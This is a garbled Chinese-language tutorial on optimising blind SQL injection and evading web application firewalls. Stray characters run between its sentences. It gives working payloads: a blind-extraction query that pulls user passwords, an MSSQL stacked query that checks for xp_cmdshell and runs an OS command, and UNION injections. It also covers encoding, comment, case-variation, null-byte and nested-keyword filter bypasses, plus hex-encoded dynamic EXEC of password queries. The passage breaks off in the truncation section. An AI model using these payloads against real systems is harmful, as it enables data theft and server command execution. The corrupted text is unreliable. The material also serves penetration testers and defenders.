SQL注入的優(yōu)化和繞過:
0x00 ~ 介紹
SQL注入毫無疑問是最危險的Web漏洞之一,因為我們將所有信息都存儲在數(shù)據(jù)庫中橄维。其解決方案之一枣接,有許多公司實施Web應(yīng)用程序防火墻和入侵檢測/預(yù)防系統(tǒng)來試圖保護自己。但不幸的是硕旗,這些對策往往是不充分的窗骑,并且很容易被繞過。
盡管不能依賴防火墻來防止所有SQL注入漆枚,但一些防火墻在作為監(jiān)視工具時也會很有效创译。由于目標存在防火墻,在攻擊過程中會檢測到攻擊者并阻止攻擊墙基。因此软族,經(jīng)過優(yōu)化和繞過的SQL注入具有更高的成功率;它將更快地提取數(shù)據(jù)并且不會被很快的檢測到。
在本文中残制,我們將討論和比較各種優(yōu)化方法立砸,這些方法在利用SQL盲注時非常有效。我們還將介紹SQL查詢痘拆,這些查詢可用于僅使用一個請求轉(zhuǎn)儲整個數(shù)據(jù)庫仰禽,這使得在不被注意的情況下非常容易的快速檢索數(shù)據(jù)。此外纺蛆,我們將檢查幾種繞過技術(shù)吐葵,這些技術(shù)可能使防火墻無法識別SQL攻擊。將這些技術(shù)結(jié)合起來會造成致命的攻擊桥氏,而且這可能是毀滅性的温峭。
0x01 ~ 優(yōu)化
在進行SQL盲注時,優(yōu)化通常是最容易被忽視的重要方面之一字支。優(yōu)化的SQL注入不僅可以產(chǎn)生更快的結(jié)果凤藏,還可以減少網(wǎng)絡(luò)擁塞并且更低服務(wù)器上的負擔反過來提供較低的被檢測風險奸忽。與傳統(tǒng)方法相比,某些方法提供的速度差異令人驚訝揖庄,并且可以將成功從數(shù)據(jù)庫中提取數(shù)據(jù)所需的請求量和時間減少三分之一以上栗菜。為了使用這些方法,我們必須先了解它們是如何工作的以及每種方法的有效性蹄梢,但在我們開始分析和比較它們之前疙筹,重要的是事先審查一些初步概念。
計算機只能理解數(shù)字禁炒,因此創(chuàng)建了ASCII(美國信息交換標準碼)而咆。 ASCII代碼是字母或字符的數(shù)字表示。任何ASCII字符都可以用1字節(jié)或8位表示幕袱,也稱為八位字節(jié)暴备。在處理SQL注入時,我們通常對完整的ASCII范圍不感興趣们豌,因為并非所有字符在數(shù)據(jù)庫中都是有效的或允許的涯捻。出于這個原因,我們只關(guān)注ASCII范圍32 - 126玛痊,它給我們留下了一組94個字符汰瘫。該范圍只能用7位表示,最高有效位為0.這在進一步優(yōu)化技術(shù)時會派上用場擂煞,因為它允許我們削減請求混弥。下表以不同的形式顯示了ASCII范圍:
注意:MSB(最高有效位)始終關(guān)閉,允許我們保存其他請求对省。
方法分析
當禁用錯誤顯示時蝗拿,這些方法旨在與盲SQL注入一起使用,我們通常必須一次檢索1個字符蒿涎。
二分法
二分法通常稱為計算機科學中的二分搜索算法哀托,是一種對數(shù)算法,也是最廣泛使用的通過SQL注入提取數(shù)據(jù)的方法;它是多功能的劳秋,有效的并直接實施仓手,使其成為黑客和程序員的熱門選擇。使用有限列表玻淑,二分法通過將列表分成兩半并搜索分支的每一半來工作嗽冒。它繼續(xù)這個過程,通過拆分半分支找到項目并重復(fù)直到完成补履,這就是為什么它是一個二分法分而治之的算法添坊。當在性能方面進行描述時,它具有與log2(N)相同的最壞情況和平均情況箫锤,這使得該方法通常處于其請求的高端贬蛙。應(yīng)用于SQL注入時雨女,需要其他請求才能使此方法有效。
正則表達式方法
Simone Quatrini和Marco Rondini在一篇名為“具有正則表達式攻擊的sql盲注”的論文中首次介紹阳准,這種方法只是二分法的一種變體氛堕,它使用正則表達式。對于MySQL溺职,該技術(shù)使用REGEXP函數(shù)和MSSQL岔擂,LIKE語句具有類似的功能,但工作方式略有不同浪耘。這種方法的一個小缺點是對每種類型的數(shù)據(jù)庫使用兩種不同的函數(shù)。建議的替代方案是使用存在于MySQL和MSSQL中的BETWEEN函數(shù);這將通過能夠為多個數(shù)據(jù)庫使用單個函數(shù)來簡化實現(xiàn)塑崖。
REGEXP'^ [a-z]'真
REGEXP'^ [a-n]'真
REGEXP'^ [a-g]'錯誤
REGEXP'^ [h-n]'真
REGEXP'^ [h-l]'錯誤
注意表2:正在使用的REGEX方法的示例七冲。
按位方法
有幾種按位方法彼此之間略有不同。在分析這些方法時规婆,在大多數(shù)情況下它們都比二分法更糟糕澜躺,因此本文不會詳細描述它們。這些方法使用按位運算抒蚜,例如移位或AND運算掘鄙,但這些往往是多余的,因為二進制在MySQL和MSSQL中都被視為一個字符串嗡髓,因此可以使用SUBSTRING函數(shù)或類似函數(shù)來比較每個單獨的位到請求數(shù)量是一致的
| 二進制"a" | 要轉(zhuǎn)移的位 | 二進制結(jié)果 | 十進制結(jié)果 |
| 01100001 | >7 | 00000000 | 0 |
| 01100001 | >6 | 00000001 | 1 |
| 01100001 | >4 | 00000110 | 6 |
| 01100001 | >3 | 00001100 | 12 |
| 01100001 | >2 | 00011000 | 24 |
| 01100001 | >1 | 00110000 | 48 |
| 01100001 | >0 | 01100001 | 97 |
注意:按位移位方法顯示檢索字符“a”操漠。
Bin2Pos方法
這種方法是我自己的發(fā)明,它本質(zhì)上是一種優(yōu)化的搜索技術(shù)饿这,它可以檢索至少只有1個請求和最多6個請求的字符浊伙。此方法依賴于有限的字符列表,其中每個字符都映射到列表中的位置;將字符映射到它們的位置很重要长捧,因為與字符的十進制值相比嚣鄙,它提供了較小的數(shù)字。然后將位置轉(zhuǎn)換為二進制并從二進制序列中第一次出現(xiàn)的on位開始檢索串结。通過將位置轉(zhuǎn)換為二進制哑子,我們有效地將字符集減少到兩個(1或0)诈唬。另外炭序,因為我們從第一次出現(xiàn)on位開始,所以我們可以保存一個請求我們知道這將是一個“1”确徙。
由于二進制文件的大小取決于列表中字符的位置声功,因此字符越接近列表的開頭烦却,檢索它所需的請求量就越少。出于這個原因先巴,我們可以通過字母表中最常用的字母對列表進行排序其爵,以進一步優(yōu)化它冒冬。在MySQL中使用帶有兩個不同值的參數(shù)(例如id = 1,id = 2)的實現(xiàn)示例可以在下圖中使用十六進制集看到:
引用:<br>
IF((@a:=MID(BIN(POSITION(MID((SELECT password FROM users WHERE id=2 LIMIT
1),1,1)IN(CHAR(48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70))),1,1))!=space(
0),2-@a,0/0)
因為標準集大小為94(32 - 126)最多使用7位摩渺,這意味著要檢索的字符的最大大小將為7.需要額外的請求來確定我們已到達二進制序列的末尾简烤。 因此,通過避免第一個請求并且必須在最后執(zhí)行額外請求摇幻,這總共留下了7個請求横侦。 但是,由于我們知道7位是可以檢索的最大長度绰姻,如果我們已經(jīng)發(fā)出6個請求枉侧,我們不必發(fā)送額外的請求來知道我們何時到達結(jié)束,因為我們已經(jīng)達到了最大長度可能狂芋。 這給出了僅有6個請求的最壞情況榨馁。 最好的情況是在列表的第一個位置找到字符時只需要1個請求。 下圖演示了使用按字母順序排序的集合的此方法帜矾。
優(yōu)化查詢
現(xiàn)在我們已經(jīng)概述了一些通過盲注提取數(shù)據(jù)的已知方法翼虫,我們將看一些優(yōu)化的查詢,這些查詢可以大大加快從數(shù)據(jù)庫中提取數(shù)據(jù)的速度屡萤。 Ionut Maroiu演示了一種MySQL技術(shù)珍剑,它允許使用單個請求檢索所有數(shù)據(jù)庫,表和列死陆。 PostgreSQL和Oracle也有類似的技術(shù)招拙,由Dmitriy Serebryannikov演示,另一個由Daniel Kachakil發(fā)現(xiàn)的MSSQL演示翔曲。 下表顯示了每個描述的查詢的示例:
注意:使用單個請求檢索多個表和列條目的不同查詢迫像。
還有更具破壞性的單一請求攻擊是可能的,因為在使用PDO或PHP的新的和“改進的”擴展mysqli時瞳遍,MSSQL甚至MySQL中的堆棧查詢都是可能的闻妓。 例如,以下MSSQL查詢將檢查是否已加載xp_cmdshell掠械,如果已啟用由缆,則會檢查它是否處于活動狀態(tài),如果它處于活動狀態(tài)猾蒂,則會繼續(xù)運行您選擇的命令均唉。
PHP Code:
<?php
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE home.php?mod=space&uid=48563 varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'I**tendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font
color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
對于滲透測試人員和攻擊者,測試SQL注入可能會變得乏味肚菠。 一些Web應(yīng)用程序可以具有無限數(shù)量的具有無限數(shù)量參數(shù)的模塊舔箭。 此外,每種可能的SQL注入類型至少需要三次單獨的測試:單引號,雙引號和無引號层扶。 通過優(yōu)化查詢箫章,可以將所有查詢減少到一個請求。
注意:優(yōu)化注入允許我們通過單個請求測試所有三種變化镜会。
另一個使用AND的例子:
注意:使用AND邏輯的優(yōu)化注入的變體檬寂。
為了進一步說明這個優(yōu)化的查詢,請考慮以下注入:
引用:
SELECT * FROM Users WHERE username=”Admin” and password = “1 OR 1#"OR"'OR''='"="'OR''='”
引用:
SELECT * FROM Articles WHERE id = 1!=0--+"!="'!='
0x03 ~ 繞過
混淆是繞過防火墻的主要方法之一戳表。通過欺騙防火墻將我們的攻擊視為合法流量桶至,我們可以成功交付有效載荷而不會被檢測到。有幾種方法可以用來混淆我們的注入匾旭。通過使用fuzzers镣屹,我們可以發(fā)現(xiàn)可用于混淆的不同可能性。雖然有時簡單性可能是更好的選擇价涝,如果所有其他方法都失敗了野瘦,我們總是可以采用各種編碼方式。
Fuzzers
防火墻開發(fā)人員必須充分了解所有數(shù)據(jù)庫規(guī)范和奇怪之處飒泻。其中一些奇怪的是有記錄的,其他的只能通過模糊測試找到吏廉。發(fā)現(xiàn)了一個特殊的例子通過使用fuzzers泞遗,每種類型的數(shù)據(jù)庫都允許使用空白字符。每個不同的RDBMS允許各種不同的空白字符席覆,而不是通常的0x20史辙。通過使用其他允許的空格字符切換標準空格,我們可以使某些防火墻無法識別注入佩伤,從而使我們能夠有效地繞過它們聊倔。
注意:不同RDBMS中允許的有效空格。
替換空格可能是一個有用的技巧生巡,但任何復(fù)雜的防火墻都能夠檢測到大多數(shù)允許的空格耙蔑,并隨后將適當?shù)靥幚硭鼈儭?當防火墻真正擅長去混淆注射時,有時最好采取相反的路線并盡可能簡化注射孤荣。
就像許多編程語言為我們提供了幾種不同的方法來實現(xiàn)相同的結(jié)果一樣甸陌,SQL也是如此。 在某些情況下盐股,使用最簡單的方法可能是最有效的; 如果我們的SQL注入看起來像普通英語钱豁,防火墻很難區(qū)分普通文本和SQL語法。 一個很好的例子是CASE語句的以下用法疯汁,它可以在WHERE語句之后附加:
CASE WHEN BINARY TRUE THEN TRUE END IS NOT UNKNOWN HAVING TRUE FOR UPDATE
編碼
特殊編碼是繞過防火墻時使用的另一個工具牲尺。大多數(shù)這些編碼將取決于應(yīng)用程序如何處理數(shù)據(jù)。 Web應(yīng)用程序可以以一種方式查看數(shù)據(jù)幌蚊,而代理谤碳,防火墻或數(shù)據(jù)庫可能以不同方式解釋數(shù)據(jù)溃卡。正是由于層之間的這些差異,編碼可能會繞過防火墻估蹄。
URL編碼
瀏覽網(wǎng)頁的任何人之前都看過這種編碼塑煎。 URL編碼用于轉(zhuǎn)換“特殊”字符,因此可以通過HTTP發(fā)送它們臭蚁。字符轉(zhuǎn)換為十六進制等效最铁,前綴為百分號。
雙URL編碼
這只是對字符應(yīng)用URL編碼兩次的過程垮兑。所需要的只是重新編碼百分號冷尉。如果數(shù)據(jù)在通過防火墻之后和到達數(shù)據(jù)庫之前被解碼兩次,則此編碼成功系枪。
Unicode編碼
Unicode是一種行業(yè)標準雀哨,用于表示多種語言的110,000多個符號和字符。它可以用不同的字符編碼表示私爷,如UTF-8雾棺,UTF-16,UTF-32等衬浑。此編碼通常適用于IIS服務(wù)器或使用ASP或.NET構(gòu)建的應(yīng)用程序
注意:下表顯示了字符“a”的每個編碼捌浩。
UTF-8編碼
UTF-8是對Unicode字符集中的1,114,112個代碼點(0到10FFFF)中的每一個進行編碼的一種形式。 “UTF”代表Unicode轉(zhuǎn)換格式工秩,而“8”代表它使用8位塊代表字符尸饺。 表示字符所需的塊數(shù)從1到4不等。只需要1個字節(jié)或塊來表示ASCII范圍0-127中的字符助币,前導位為0.但是浪听,任何高于127的代碼點都需要 以多字節(jié)序列表示,其中第一個字節(jié)的前導位眉菱,直到第一個字節(jié)迹栓,表示完成序列的后續(xù)字節(jié)總數(shù)。 第一個字節(jié)中第一個0之后的后續(xù)位構(gòu)成字符的一部分倍谜。 每個連續(xù)字節(jié)在高位位置具有“10”迈螟,但是這兩個位是冗余的。 下圖中的xx表示實際的數(shù)據(jù)位尔崔。
注意:以下是不同UTF-8多字節(jié)編碼的表示答毫。
因為不需要第一個字節(jié)之后的前兩個高位,應(yīng)用程序可能只讀取最后六位季春,允許我們用00,01或11替換前兩個最高有效位洗搂。
注意:字符“a”的幾種不同的UTF-8表示。
半字節(jié)編碼
半字節(jié)是4位,因此存在十六(2 ** 4)個可能值耘拇,因此半字節(jié)對應(yīng)于單個十六進制數(shù)字撵颊。 由于ASCII范圍0-255中的每個字符都可以用1個字節(jié)表示,因此我們可以對最多4個進行URL編碼有效位惫叛,4個最低有效位或兩者倡勇。 這通常被稱為First Nibble,Second Nibble和Double Nibble編碼嘉涌。
注意:第一妻熊,第二和雙半字節(jié)編碼的示例。
無效的百分比編碼
無效的百分比編碼特定于.NET / IIS應(yīng)用程序仑最。 通過在無效十六進制的字符之間添加百分號扔役,IIS將剝離使數(shù)據(jù)有效的字符。 但是警医,任何不知道此行為的防火墻都會留下百分號亿胸,這反過來會破壞SQL語法,使其無法被防火墻檢測到预皇。
防火墻的數(shù)據(jù)是什么樣的:
%UNI%ON %SE%LE%CT 1 %FR%OM %D%U%A%L
IIS的數(shù)據(jù)是什么樣的:
UNION SELECT 1 FROM DUAL
十六進制編碼無效
無效的十六進制不完全是一種編碼侈玄,而是一種濫用某些應(yīng)用程序如何處理十六進制到十進制的轉(zhuǎn)換的方式。 這個想法是創(chuàng)建無效的十六進制吟温,導致與有效十六進制相同的十進制值拗馒。根據(jù)應(yīng)用程序處理和轉(zhuǎn)換數(shù)據(jù)的方式,它可能會將%2ú視為與%61相同溯街。
表13:轉(zhuǎn)換無效十六進制結(jié)果時轉(zhuǎn)換的結(jié)果與有效十六進制相同。
表14:無效的十六進制使用完整的字母表洋丐,其中有效的十六進制僅使用A-F呈昔。
0x04~高級繞過
常見的SQL過濾器類型
在sql注入攻擊的上下文中,您可能遇到的最有趣的過濾器是那些試圖阻止包含以下一個或多個的輸入的過濾器:
SQL關(guān)鍵字友绝,例如SELECT堤尾,AND,INSERT
特定的單個字符迁客,例如引號或連字符
空格
您可能還會遇到過濾器而不是阻止包含前面列表中的項目的輸入郭宝,嘗試修改輸入以使其安全,通過編碼或轉(zhuǎn)義有問題的字符或從輸入中剝離違規(guī)項目并處理剩下的內(nèi)容 順便說一句掷漱,順便說一句粘室,這是不合邏輯的,因為如果有人想要損害你的Web應(yīng)用程序卜范,你想要處理他的惡意輸入衔统。
通常,這些過濾器保護的應(yīng)用程序代碼容易受到SQL注入(因為全世界都存在無能,無知或收入不高的開發(fā)人員)锦爵,并利用您需要的漏洞來找到一種避免過濾器傳遞惡意輸入的方法 易受攻擊的代碼舱殿。 在接下來的幾節(jié)中,我們將研究一些可以用來做的技術(shù)险掀。
繞過SQL注入過濾器
請注意沪袭,上述所有SQL注入過濾器繞過技術(shù)均基于黑名單過濾心態(tài),而不是白名單過濾邏輯樟氢。這意味著糟糕的軟件開發(fā)基于黑名單過濾器概念冈绊。
通過SQL注入過濾器的方法很多,還有更多方法可以利用它們嗡害》俾担回避SQL注入過濾器的最常見方法是:
使用大小寫變化。
使用SQL注釋霸妹。
使用URL編碼十电。
使用動態(tài)查詢執(zhí)行。
使用空字節(jié)叹螟。
嵌套剝離表達式鹃骂。
利用截斷。
使用非標準入口點罢绽。
結(jié)合上述所有技術(shù)畏线。
大小寫變化
如果關(guān)鍵字阻塞過濾器特別天真,您可以通過改變攻擊字符串中字符的大小來規(guī)避它良价,因為數(shù)據(jù)庫以不區(qū)分大小寫的方式處理SQL關(guān)鍵字寝殴。 例如,如果阻止以下輸入:
'UNION SELECT @@ version --
您可以使用以下替代方法繞過過濾器:
'UnIoN sElEcT @@ version --
注意:僅使用大寫或僅使用小寫也可以使用明垢,但我不建議在這種類型的模糊測試中花費大量時間蚣常。
SQL 注釋
您可以使用內(nèi)聯(lián)注釋序列來創(chuàng)建SQL的片段,這些片段在語法上不常見但完全有效痊银,并繞過各種輸入過濾器抵蚊。 您可以通過這種方式規(guī)避各種簡單的模式匹配過濾器。
當然溯革,您可以使用相同的技術(shù)來繞過過濾器贞绳,這些過濾器只會阻止任何空白區(qū)域。 許多開發(fā)人員錯誤地認為致稀,通過將輸入限制為單個令牌冈闭,他們正在阻止SQL注入攻擊,忘記了內(nèi)聯(lián)注釋使攻擊者能夠構(gòu)造任意復(fù)雜的SQL而不使用任何空格抖单。
對于MySQL拒秘,您甚至可以在SQL關(guān)鍵字中使用內(nèi)聯(lián)注釋号显,從而可以繞過許多常見的關(guān)鍵字阻止過濾器。 例如躺酒,如果后端數(shù)據(jù)庫是MySQL押蚤,如果只檢查SQL注入字符串的空格,則以下攻擊仍然有效:
UNION//SELECT//@@version//-- Or ' U//NI//ON//SELECT//@@version//--
注意:這種類型的濾波器旁路方法包括間隙填充和黑名單壞字符序列過濾羹应。
URL編碼
URL編碼是一種多功能技術(shù)揽碘,可用于擊敗多種輸入過濾器。 在最基本的形式中园匹,這涉及用十六進制形式的ASCII代碼替換有問題的字符雳刺,前面是%字符。 例如裸违,單引號的ASCII代碼為0x27掖桦,因此其URL編碼表示為%27。在這種情況下供汛,您可以使用以下攻擊來繞過過濾器枪汪。
原始查詢:
NION SELECT @@version --
URL編碼的查詢:
%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%40%40%76%65%72%73%69%6f%6e%20%2d%2d
在其他情況下,這種基本的URL編碼攻擊不起作用怔昨,但您可以通過對被阻止的字符進行雙URL編碼來繞過過濾器雀久。 在雙重編碼攻擊中,原始攻擊中的%字符本身以正常方式進行URL編碼(如%25)趁舀,因此單引號的雙URL編碼形式為%2527赖捌。 如果您修改前面的攻擊以使用雙URL編碼,它看起來像這樣:
%25%32%37%25%32%30%25%35%35%25%34%65%25%34%39%25%34%66%25%34%65%25
%32%30%25%35%33%25%34%35%25%34%63%25%34%35%25%34%33%25%35%34%25%32
%30%25%34%30%25%34%30%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39
%25%36%66%25%36%65%25%32%30%25%32%64%25%32%64
注意:您還應(yīng)該考慮選擇性URL編碼也是繞過SQL注入過濾的有效方法矮烹。
雙URL編碼有時會起作用越庇,因為Web應(yīng)用程序有時會多次解碼用戶輸入,并在最終解碼步驟之前應(yīng)用其輸入過濾器奉狈。 在前面的示例中悦荒,涉及的步驟如下:<br>
攻擊者提供輸入'%252f%252a?/ UNION ...<br>
應(yīng)用程序URL將輸入解碼為'%2f%2a?/ UNION ...
應(yīng)用程序驗證輸入不包含/ *(它不包含)。
應(yīng)用程序URL將輸入解碼為'/ ** / UNION ...
應(yīng)用程序在SQL查詢中處理輸入嘹吨,并且攻擊成功。
URL編碼技術(shù)的另一個變體是使用阻塞字符的Unicode編碼境氢。 除了使用帶有兩位十六進制ASCII碼的%字符外蟀拷,URL編碼還可以使用各種Unicode字符表示形式。 unicode編碼時的SQL注入查詢?nèi)缦滤荆?/p>
27 20 55 4E 49 4F 4E 20 53 45 4C 45 43 54 20 40 40 76 65 72 73 69 6F 6E 20 2D 2D
注意:我沒有使用unicode編碼進行大量實驗萍聊,坦率地說问芬,我不認為使用Unicode編碼的fuzzing SQL會非常有用。
CAST和CONVERT關(guān)鍵字
編碼攻擊的另一個子類是CAST和CONVERT攻擊寿桨。 CAST和CONVERT關(guān)鍵字顯式地將一種數(shù)據(jù)類型的表達式轉(zhuǎn)換為另一種數(shù)據(jù)類型此衅,通過CAST關(guān)鍵字將其嵌入到MySQL强戴,MSSQL和Postgre數(shù)據(jù)庫中。 它已被許多網(wǎng)站中的各種類型的惡意軟件攻擊使用挡鞍,并且是一個非常有趣的SQL注入過濾器旁路骑歹。 使用此類攻擊的最臭名昭著的僵尸網(wǎng)絡(luò)是ASPRox僵尸網(wǎng)絡(luò)病毒。 看看語法:
使用 CAST
CAST ( expression AS data_type )
使用 CONVERT
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
使用CAST和CONVERT墨微,您可以通過使用函數(shù)SUBSTRING傳遞結(jié)果進行類似的過濾道媚,一個示例可以向您顯示我的意思。 以下SQL查詢將返回相同的結(jié)果:
SELECT SUBSTRING('CAST and CONVERT', 1, 4)
返回結(jié)果:CAST
SELECT CAST('CAST and CONVERT' AS char(4))
返回結(jié)果:CAST
SELECT CONVERT(varchar,'CAST',1)
返回結(jié)果:CAST
注意:請注意翘县,SUBSTRING和CAST關(guān)鍵字的行為相同最域,也可用于盲SQL注入攻擊。 您可以嘗試使用此鏈接來測試此查詢锈麸。 如果你想看到它镀脂,你必須在這個板上注冊。)忘伞。
進一步擴展CONVERT和CAST薄翅,我們可以確定以下SQL查詢是否有效且非常有趣,請參閱如何使用CAST和CONVERT提取MSSQL數(shù)據(jù)庫版本虑省。
0x1 - 標識要執(zhí)行的查詢:
SELECT @@VERSION
0x2 - 根據(jù)關(guān)鍵字CAST和CONVERT構(gòu)造查詢:
SELECT CAST('SELECT @@VERSION' AS VARCHAR(16))
或者
SELECT CONVERT(VARCHAR,'SELECT @@VERSION',1)
0x3 - 使用關(guān)鍵字EXEC執(zhí)行查詢:
SET @sqlcommand = SELECT CONVERT(VARCHAR,'SELECT @@VERSION',1)
EXEC(@sqlcommand)
或者首先將SELECT @@ VERSION轉(zhuǎn)換為Hex
SET @sqlcommand = (SELECT CAST(0x53454C45435420404076657273696F6E00 AS VARCHAR(34))
EXEC(@sqlcommand)
注意:了解CAST和CONVERT的創(chuàng)意∧涔危現(xiàn)在,由于句子CAST中包含的數(shù)據(jù)類型是十六進制的探颈,因此執(zhí)行varchar轉(zhuǎn)換熟丸。
您還可以使用嵌套的CAST和CONVERT查詢來注入惡意輸入。這樣伪节,您就可以開始在不同的編碼類型之間進行交換光羞,并創(chuàng)建更復(fù)雜的查詢。這應(yīng)該是一個很好的例子:
CAST(CAST(PAYLOAD IN HEX, VARCHAR(CHARACTER LENGTH OF PAYLOAD)),, VARCHAR(CHARACTER LENGTH OF TOTAL PAYLOAD)
動態(tài)查詢執(zhí)行
許多數(shù)據(jù)庫允許通過將包含SQL查詢的字符串傳遞到執(zhí)行查詢的數(shù)據(jù)庫函數(shù)來動態(tài)執(zhí)行SQL查詢怀大。 如果您發(fā)現(xiàn)了一個有效的SQL注入點纱兑,但發(fā)現(xiàn)應(yīng)用程序的輸入過濾器阻止了您想要注入的查詢,那么您可以使用動態(tài)執(zhí)行來繞過過濾器化借。 動態(tài)查詢執(zhí)行在不同的數(shù)據(jù)庫上有不同的
在Microsoft SQL Server上潜慎,您可以使用EXEC函數(shù)以字符串形式執(zhí)行查詢。 例如:
'EXEC xp_cmdshell ‘dir’; — Or 'UNION EXEC xp_cmdshell ‘dir’; —
注意:使用EXEC功能蓖康,您可以枚舉后端數(shù)據(jù)庫中所有已啟用的存儲過程铐炫,并將已分配的權(quán)限映射到存儲過程。
在Oracle中蒜焊,您可以使用EXECUTE IMMEDIATE命令以字符串形式執(zhí)行查詢倒信。例如:
DECLARE pw VARCHAR2(1000);
BEGIN
EXECUTE IMMEDIATE 'SELECT password FROM tblUsers' INTO pw;
DBMS_OUTPUT.PUT_LINE(pw);
END;
注意:您可以逐行或全部一起執(zhí)行該操作,當然泳梆,通過傳遞方法的其他過濾器可以與此結(jié)合使用鳖悠。
上述SQL注入攻擊類型可以提交到Web應(yīng)用程序攻擊入口點榜掌,無論是上面呈現(xiàn)的方式,還是后端數(shù)據(jù)庫接受批量查詢(例如MSSQL)時由分號分隔的一批命令乘综。
例如在MSSQL中你可以這樣做:
SET @MSSQLVERSION = SELECT @@VERSION; EXEC (@MSSQLVERSION); --
注意:可以從不同的Web應(yīng)用程序入口點或相同的查詢提交相同的查詢憎账。
數(shù)據(jù)庫提供了各種操作字符串的方法,使用動態(tài)執(zhí)行來打敗輸入過濾器的關(guān)鍵是使用字符串操作函數(shù)將過濾器允許的輸入轉(zhuǎn)換為包含所需查詢的字符串瘾带。 在最簡單的情況下鼠哥,您可以使用字符串連接從較小的部分構(gòu)造字符串。 不同的數(shù)據(jù)庫使用不同的語法進行字符串連接看政。
例如朴恳,如果阻止SQL關(guān)鍵字SELECT,則可以按如下方式構(gòu)造它允蚣。
Oracle:
'SEL'||'ECT'
MS-SQL:
'SEL'+'ECT'
MySQL:
'SEL' 'ECT'
此SQL混淆方法的其他示例如下:
Oracle:
UN’||’ION SEL'||'ECT NU’||’LL FR’||’OM DU’||’AL--
MS-SQL:
' un’+’ion (se’+’lect @@version) --
MySQL:
' SE’’LECT user(); #
請注意于颖,SQL Server使用+字符進行連接,而MySQL使用空格嚷兔。 如果要在HTTP請求中提交這些字符森渐,則需要將它們分別對其進行URL編碼為%2b和%20。 更進一步冒晰,您可以使用CHAR函數(shù)(Oracle中的CHR)使用其ASCII字符代碼構(gòu)造單個字符同衣。 例如,要在SQL Server上構(gòu)造SELECT關(guān)鍵字壶运,您可以使用:
CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
注意:名為Hackbar的Firefox插件工具也會自動執(zhí)行此操作(很長一段時間以來)
您可以使用這種方式構(gòu)造字符串耐齐,而無需使用任何引號字符。 如果您有一個SQL注入入口點蒋情,其中引號被阻止埠况,您可以使用CHAR函數(shù)將字符串(例如“admin”)放入您的漏洞。 其他字符串操作函數(shù)也可能是有用的棵癣。 例如辕翰,Oracle包含函數(shù)REVERSE,TRANSLATE狈谊,REPLACE和SUBSTR喜命。 在SQL Server平臺上構(gòu)造用于動態(tài)執(zhí)行的字符串的另一種方法是從單個十六進制數(shù)字實例化一個字符串,該數(shù)字表示字符串的ASCII字符代碼河劝。 例如壁榕,字符串:
SELECT password FROM tblUsers
可以構(gòu)造和動態(tài)執(zhí)行如下:
DECLARE @query VARCHAR(100)
SELECT @query = 0x53454c4543542070617373776f72642046524f4d2074626c5573657273
EXEC(@query)
注意:2008年初開始的針對Web應(yīng)用程序的大規(guī)模SQL注入攻擊采用了這種技術(shù),以減少被攻擊的應(yīng)用程序中的輸入過濾器阻止其漏洞利用代碼的可能性丧裁。
空字節(jié)
通常,為了利用SQL注入漏洞而需要繞過的輸入過濾器是在應(yīng)用程序自己的代碼之外含衔,入侵檢測系統(tǒng)(IDS)或WAF中實現(xiàn)的煎娇。出于性能原因二庵,這些組件通常使用本機代碼語言編寫,例如C ++缓呛。在這種情況下催享,您通常可以使用空字節(jié)攻擊來規(guī)避輸入過濾器并將您的漏洞利用到后端應(yīng)用程序中哟绊。
由于在本機代碼和托管代碼中處理空字節(jié)的不同方式因妙,空字節(jié)攻擊起作用。在本機代碼中票髓,字符串的長度由字符串開頭的第一個空字節(jié)的位置確定 - 空字節(jié)有效地終止字符串攀涵。另一方面,在托管代碼中洽沟,字符串對象包含字符數(shù)組(可能包含空字節(jié))和字符串長度的單獨記錄以故。這種差異意味著當本機過濾器處理您的輸入時,它可能在遇到空字節(jié)時停止處理輸入裆操,因為這表示就過濾器而言字符串的結(jié)尾怒详。如果空字節(jié)之前的輸入是良性的,則過濾器不會阻止輸入踪区。
但是昆烁,當應(yīng)用程序處理相同的輸入時,在托管代碼上下文中缎岗,將處理空字節(jié)后面的完整輸入静尼,從而允許執(zhí)行您的漏洞利用。要執(zhí)行空字節(jié)攻擊密强,您只需在過濾器阻塞的任何字符之前提供URL編碼的空字節(jié)(看起來像這樣)茅郎。在原始示例中,您可以使用攻擊字符串繞過本機輸入過濾器或渤,如下所示:
' UNION SELECT password FROM tblUsers WHERE username='admin'--
注意:當訪問用作銀行結(jié)束數(shù)據(jù)庫時系冗,NULL字節(jié)可用作SQL查詢分隔符。
嵌套剝離表達式
某些清理過濾器會從用戶輸入中刪除某些字符或表達式薪鹦,然后以常規(guī)方式處理剩余數(shù)據(jù)掌敬。 如果正在被剝離的表達式包含兩個或多個字符,并且未以遞歸方式應(yīng)用過濾器池磁,則通潮己Γ可以通過將禁止的表達式嵌套在其自身內(nèi)來使過濾器失敗。
例如地熄,如果從輸入中刪除SQL關(guān)鍵字SELECT华临,則可以使用以下輸入來阻止過濾器:
SELSELECTECT
注意:請參閱繞過愚蠢過濾器的簡單性。
截斷
清理過濾器通常對用戶提供的數(shù)據(jù)執(zhí)行多個操作端考,有時其中一個步驟是將輸入截斷為最大長度雅潭,可能是為了防止緩沖區(qū)溢出攻擊揭厚,或者在具有預(yù)定義最大長度的數(shù)據(jù)庫字段中容納數(shù)據(jù) 》龉考慮一個登錄函數(shù)筛圆,它執(zhí)行以下SQL查詢,包含兩項用戶提供的輸入:
SELECT uid FROM tblUsers WHERE username = 'jlo' AND password = 'r1Mj06'
